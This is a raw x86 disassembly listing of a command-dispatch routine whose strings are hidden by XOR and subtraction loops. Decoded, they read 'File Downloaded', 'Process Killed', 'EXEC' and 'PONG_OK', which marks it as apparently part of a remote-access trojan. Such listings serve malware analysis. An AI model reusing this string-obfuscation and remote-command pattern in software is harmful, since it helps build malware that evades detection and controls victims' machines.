mov byte [ebp - 4], 0x2e
mov byte [ebp - 0x2e0], 0x4e
mov byte [ebp - 0x2df], 0x71
mov byte [ebp - 0x2de], 0x74
mov byte [ebp - 0x2dd], 0x6d
mov byte [ebp - 0x2dc], 0x28
mov byte [ebp - 0x2db], 0x4c
mov byte [ebp - 0x2da], 0x77
mov byte [ebp - 0x2d9], 0x7f
mov byte [ebp - 0x2d8], 0x76
mov byte [ebp - 0x2d7], 0x74
mov byte [ebp - 0x2d6], 0x77
mov byte [ebp - 0x2d5], 0x69
mov byte [ebp - 0x2d4], 0x6c
mov byte [ebp - 0x2d3], 0x6d
mov byte [ebp - 0x2d2], 0x6c
mov byte [ebp - 0x2d1], bl
mov al, byte [ebp - 0x2e0]
mov eax, ebx
sub byte [ebp + eax - 0x2e0], 8
inc eax
cmp eax, 0xf
jb 0x4b2fb5
sub esp, 0x18
lea eax, [ebp - 0x2e0]
mov ecx, esp
push eax
call fcn.004a120c
mov edi, dword [ebp - 0x1d8]
push edi
mov byte [ebp - 4], 0x26
call fcn.004b1529
add esp, 0x34
lea ecx, [ebp - 0xf4]
call fcn.004a1505
lea ecx, [ebp - 0x12c]
call fcn.004a1505
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b301b
jmp 0x4b3aad
push 6
mov dword [ebp - 0x5c], ebx
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x1d0], esp
push eax
call fcn.004a126f
mov byte [ebp - 4], 0x2d
xor edx, edx
mov dword [ebp - 0x368], 0x6c
mov esi, edx
mov byte [ebp - 0x364], 0x2a
mov byte [ebp - 0x363], 0xd
mov byte [ebp - 0x362], 5
mov byte [ebp - 0x361], dl
mov byte [ebp - 0x360], 9
mov byte [ebp - 0x35f], 8
mov byte [ebp - 0x35e], 0x4c
push 0x18
pop eax
mov byte [ebp - 0x35d], al
mov byte [ebp - 0x35c], 3
mov byte [ebp - 0x35b], 0x4c
mov byte [ebp - 0x35a], 0xf
mov byte [ebp - 0x359], 0x1e
mov byte [ebp - 0x358], 9
mov byte [ebp - 0x357], 0xd
mov byte [ebp - 0x356], al
mov byte [ebp - 0x355], 9
mov byte [ebp - 0x354], 0x4c
mov byte [ebp - 0x353], al
mov byte [ebp - 0x352], 4
mov byte [ebp - 0x351], 0x1e
mov byte [ebp - 0x350], 9
mov byte [ebp - 0x34f], 0xd
mov byte [ebp - 0x34e], 8
mov al, byte [ebp - 0x364]
mov byte [ebp - 0x34d], dl
mov al, byte [ebp + esi - 0x364]
movsx ecx, byte [ebp - 0x368]
xor cl, al
mov byte [ebp + esi - 0x364], cl
inc esi
cmp esi, 0x17
jb 0x4b310b
sub esp, 0x18
mov byte [ebp - 0x34d], dl
lea eax, [ebp - 0x364]
mov ecx, esp
push eax
call fcn.004a120c
push dword [ebp - 0x1cc]
mov byte [ebp - 4], 0x2c
call fcn.004b1529
add esp, 0x34
mov eax, 0x4b3157
ret
mov dword [ebp - 0x2b8], 0x16
mov edx, ebx
mov eax, dword [ebp - 0x2b8]
xor al, 0x4b
mov byte [ebp - 0x2b4], al
mov eax, dword [ebp - 0x2b8]
inc al
xor al, 0x49
mov byte [ebp - 0x2b3], al
mov eax, dword [ebp - 0x2b8]
add al, 2
xor al, 0x4c
mov byte [ebp - 0x2b2], al
mov eax, dword [ebp - 0x2b8]
add al, 3
mov byte [ebp - 0x2b0], bl
xor al, 0x4c
mov byte [ebp - 0x2b1], al
mov al, byte [ebp - 0x2b4]
mov al, byte [ebp + edx - 0x2b4]
mov ecx, dword [ebp - 0x2b8]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x2b4], cl
inc edx
cmp edx, 4
jb 0x4b322a
sub esp, 0x18
mov byte [ebp - 0x2b0], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x2b4]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b367a
xor eax, eax
lea edi, [ebp - 0xdc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], bl
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
push 0x18
cdq
pop ecx
idiv ecx
test eax, eax
je 0x4b3af2
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x4d8]
call fcn.004a1505
push ecx
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x30
call fcn.004a2ec0
mov dword [ebp - 4], 0x2f
pop ecx
test eax, eax
je 0x4b3311
mov ecx, eax
call fcn.004b105b
mov edi, dword [ebp - 0x1d8]
jmp 0x4b3330
mov edi, dword [ebp - 0x1d8]
sub esp, 0x18
lea eax, [ebp - 0xdc]
mov ecx, esp
push eax
call fcn.004a126f
call fcn.004b108c
add esp, 0x18
test al, al
je 0x4b345d
mov dword [ebp - 0x238], 0x54
mov edx, ebx
mov eax, dword [ebp - 0x238]
xor al, 0x50
mov byte [ebp - 0x234], al
mov eax, dword [ebp - 0x238]
inc al
xor al, 0x72
mov byte [ebp - 0x233], al
mov eax, dword [ebp - 0x238]
add al, 2
xor al, 0x6f
mov byte [ebp - 0x232], al
mov eax, dword [ebp - 0x238]
add al, 3
xor al, 0x63
mov byte [ebp - 0x231], al
mov eax, dword [ebp - 0x238]
add al, 4
xor al, 0x65
mov byte [ebp - 0x230], al
mov eax, dword [ebp - 0x238]
add al, 5
xor al, 0x73
mov byte [ebp - 0x22f], al
mov eax, dword [ebp - 0x238]
add al, 6
xor al, 0x73
mov byte [ebp - 0x22e], al
mov eax, dword [ebp - 0x238]
add al, 7
xor al, 0x20
mov byte [ebp - 0x22d], al
mov eax, dword [ebp - 0x238]
add al, 8
xor al, 0x4b
mov byte [ebp - 0x22c], al
mov eax, dword [ebp - 0x238]
add al, 9
xor al, 0x69
mov byte [ebp - 0x22b], al
mov eax, dword [ebp - 0x238]
add al, 0xa
xor al, 0x6c
mov byte [ebp - 0x22a], al
mov eax, dword [ebp - 0x238]
add al, 0xb
xor al, 0x6c
mov byte [ebp - 0x229], al
mov eax, dword [ebp - 0x238]
add al, 0xc
xor al, 0x65
mov byte [ebp - 0x228], al
mov eax, dword [ebp - 0x238]
add al, 0xd
mov byte [ebp - 0x226], bl
xor al, 0x64
mov byte [ebp - 0x227], al
mov al, byte [ebp - 0x234]
mov al, byte [ebp + edx - 0x234]
mov ecx, dword [ebp - 0x238]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x234], cl
inc edx
cmp edx, 0xe
jb 0x4b342e
mov byte [ebp - 0x226], bl
lea esi, [ebp - 0x234]
jmp 0x4b35ec
push 5
pop ecx
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x254]
xor al, 0x50
mov byte [ebp - 0x250], al
mov eax, dword [ebp - 0x254]
inc al
xor al, 0x72
mov byte [ebp - 0x24f], al
mov eax, dword [ebp - 0x254]
add al, 2
xor al, 0x6f
mov byte [ebp - 0x24e], al
mov eax, dword [ebp - 0x254]
add al, 3
xor al, 0x63
mov byte [ebp - 0x24d], al
mov eax, dword [ebp - 0x254]
add al, 4
xor al, 0x65
mov byte [ebp - 0x24c], al
mov eax, dword [ebp - 0x254]
add al, cl
xor al, 0x73
mov byte [ebp - 0x24b], al
mov eax, dword [ebp - 0x254]
add al, 6
xor al, 0x73
mov byte [ebp - 0x24a], al
mov eax, dword [ebp - 0x254]
add al, 7
xor al, 0x20
mov byte [ebp - 0x249], al
mov eax, dword [ebp - 0x254]
add al, 8
xor al, 0x77
mov byte [ebp - 0x248], al
mov eax, dword [ebp - 0x254]
add al, 9
xor al, 0x61
mov byte [ebp - 0x247], al
mov eax, dword [ebp - 0x254]
add al, 0xa
xor al, 0x73
mov byte [ebp - 0x246], al
mov eax, dword [ebp - 0x254]
add al, 0xb
xor al, 0x6e
mov byte [ebp - 0x245], al
mov eax, dword [ebp - 0x254]
add al, 0xc
xor al, 0x27
mov byte [ebp - 0x244], al
mov eax, dword [ebp - 0x254]
add al, 0xd
xor al, 0x74
mov byte [ebp - 0x243], al
mov eax, dword [ebp - 0x254]
add al, 0xe
xor al, 0x20
mov byte [ebp - 0x242], al
mov eax, dword [ebp - 0x254]
add al, 0xf
xor al, 0x6b
mov byte [ebp - 0x241], al
mov eax, dword [ebp - 0x254]
add al, 0x10
xor al, 0x69
mov byte [ebp - 0x240], al
mov eax, dword [ebp - 0x254]
add al, 0x11
xor al, 0x6c
mov byte [ebp - 0x23f], al
mov eax, dword [ebp - 0x254]
add al, 0x12
xor al, 0x6c
mov byte [ebp - 0x23e], al
mov eax, dword [ebp - 0x254]
add al, 0x13
xor al, 0x65
mov byte [ebp - 0x23d], al
mov edx, ebx
mov eax, dword [ebp - 0x254]
add al, 0x14
mov byte [ebp - 0x23b], bl
xor al, 0x64
mov byte [ebp - 0x23c], al
mov al, byte [ebp - 0x250]
mov al, byte [ebp + edx - 0x250]
mov ecx, dword [ebp - 0x254]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x250], cl
inc edx
cmp edx, 0x15
jb 0x4b35c2
mov byte [ebp - 0x23b], bl
lea esi, [ebp - 0x250]
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
mov dword [ebp - 0x1d0], esp
push eax
call fcn.004a126f
sub esp, 0x18
mov byte [ebp - 4], 0x32
mov ecx, esp
push esi
call fcn.004a120c
push edi
mov byte [ebp - 4], 0x2f
call fcn.004b1529
mov edx, dword [ebp - 0xc8]
add esp, 0x34
cmp edx, 0xf
jbe 0x4b3633
mov ecx, dword [ebp - 0xdc]
inc edx
call fcn.004a1f75
lea ecx, [ebp - 0x40]
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], bl
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b3667
jmp 0x4b3aad
mov dword [ebp - 0x374], 8
mov edx, ebx
mov byte [ebp - 0x370], 0x4d
mov byte [ebp - 0x36f], 0x50
mov byte [ebp - 0x36e], 0x4d
mov byte [ebp - 0x36d], 0x4b
mov al, byte [ebp - 0x370]
mov byte [ebp - 0x36c], bl
mov al, byte [ebp + edx - 0x370]
mov ecx, dword [ebp - 0x374]
xor cl, al
mov byte [ebp + edx - 0x370], cl
inc edx
cmp edx, 4
jb 0x4b36ae
sub esp, 0x18
mov byte [ebp - 0x36c], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x370]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b395b
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
sub eax, edx
push 0x18
pop ecx
sub eax, ecx
cmp eax, ecx
jb 0x4b3738
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b3725
jmp 0x4b3aad
xor eax, eax
lea edi, [ebp - 0x144]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x134], ebx
mov dword [ebp - 0x130], 0xf
mov byte [ebp - 0x144], bl
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0x4f0]
call fcn.004a3560
pop ecx
lea ecx, [ebp - 0x4f0]
call fcn.004a1505
mov byte [ebp - 4], 0x34
lea eax, [ebp - 0x144]
xorps xmm0, xmm0
mov dword [ebp - 0x1c8], eax
lea edx, [ebp - 0x1c8]
movlpd qword [ebp - 0x80], xmm0
lea ecx, [ebp - 0x80]
call fcn.004b9d16
mov ecx, dword [ebp - 0x80]
xorps xmm0, xmm0
movlpd qword [ebp - 0xc4], xmm0
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0xc4], ecx
mov byte [ebp - 0xc0], 1
mov byte [ebp - 4], 0x36
test ecx, ecx
je 0x4b3af7
cmp byte [ecx + 0x80], 0
jne 0x4b3af7
mov eax, dword [ecx]
push 1
call dword [eax + 8]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.004a11d3
lea ecx, [ebp - 0xc4]
call fcn.004b5c81
mov edi, dword [ebp - 0x1d8]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x3e8]
mov byte [ebp - 4], 0x37
push eax
push edi
push ecx
lea ecx, [ebp - 0x114]
call fcn.004bb6ad
lea ecx, [ebp - 0x3e8]
mov byte [ebp - 4], 0x39
call fcn.004a1505
lea ecx, [ebp - 0x114]
call fcn.004a3735
cmp dword [ebp - 0x110], 0
jne 0x4b194c
mov ecx, dword [ebp - 0x80]
test ecx, ecx
je 0x4b391f
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x4b391f
mov edx, dword [ecx + 0x8c]
test edx, edx
je 0x4b386a
mov eax, dword [edx]
push ecx
mov ecx, edx
jmp 0x4b386e
mov eax, dword [ecx]
push 1
call dword [eax]
jmp 0x4b391f
lea ecx, [ebp - 0x144]
call fcn.004a1505
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b3948
jmp 0x4b3aad
mov dword [ebp - 0x394], 0x34
mov edx, ebx
mov byte [ebp - 0x390], 0x64
mov byte [ebp - 0x38f], 0x7d
mov byte [ebp - 0x38e], 0x7a
mov byte [ebp - 0x38d], 0x73
mov byte [ebp - 0x38c], 0x6b
mov byte [ebp - 0x38b], 0x60
mov byte [ebp - 0x38a], 0x6c
mov byte [ebp - 0x389], 0x60
mov al, byte [ebp - 0x390]
mov byte [ebp - 0x388], bl
mov al, byte [ebp + edx - 0x390]
mov ecx, dword [ebp - 0x394]
xor cl, al
mov byte [ebp + edx - 0x390], cl
inc edx
cmp edx, 8
jb 0x4b39ab
sub esp, 0x18
mov byte [ebp - 0x388], bl
lea eax, [ebp - 0x40]
mov ecx, esp
lea esi, [ebp - 0x390]
push eax
call fcn.004a126f
mov ecx, esi
call fcn.004b142a
add esp, 0x18
test al, al
je 0x4b3a89
mov edi, dword [ebp - 0x1d8]
mov esi, dword [edi]
mov byte [ebp - 0x2a0], 0x56
mov byte [ebp - 0x29f], 0x55
mov byte [ebp - 0x29e], 0x54
mov byte [ebp - 0x29d], 0x4d
mov byte [ebp - 0x29c], 0x65
mov byte [ebp - 0x29b], 0x55
mov byte [ebp - 0x29a], 0x51
mov byte [ebp - 0x299], bl
mov al, byte [ebp - 0x2a0]
mov eax, ebx
sub byte [ebp + eax - 0x2a0], 6
inc eax
cmp eax, 7
jb 0x4b3a3a
sub esp, 0x18
lea eax, [ebp - 0x2a0]
mov ecx, esp
push eax
call fcn.004a120c
mov ecx, esi
call fcn.004b3b18
add esp, 0x18
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b3a79
jmp 0x4b3aad
lea ecx, [ebp - 0x40]
call fcn.004a1505
mov esi, dword [ebp - 0x24]
test esi, esi
je 0x4b3ace
mov edi, dword [ebp - 0x20]
cmp esi, edi
je 0x4b3ab0
mov ecx, esi
call fcn.004a1505
add esi, 0x18
cmp esi, edi
jne 0x4b3a9f
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
sub eax, esi
push 0x18
pop ecx
cdq
idiv ecx
mov ecx, esi
imul edx, eax, 0x18
call fcn.004a1f75
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0xa4]
call fcn.004a13e7
lea ecx, [ebp - 0xbc]
call fcn.004a1505
lea ecx, [ebp + 8]
call fcn.004a1505
call fcn.005b733f
ret
call fcn.004b7d29
push 4
pop ecx
call fcn.004a460d
int3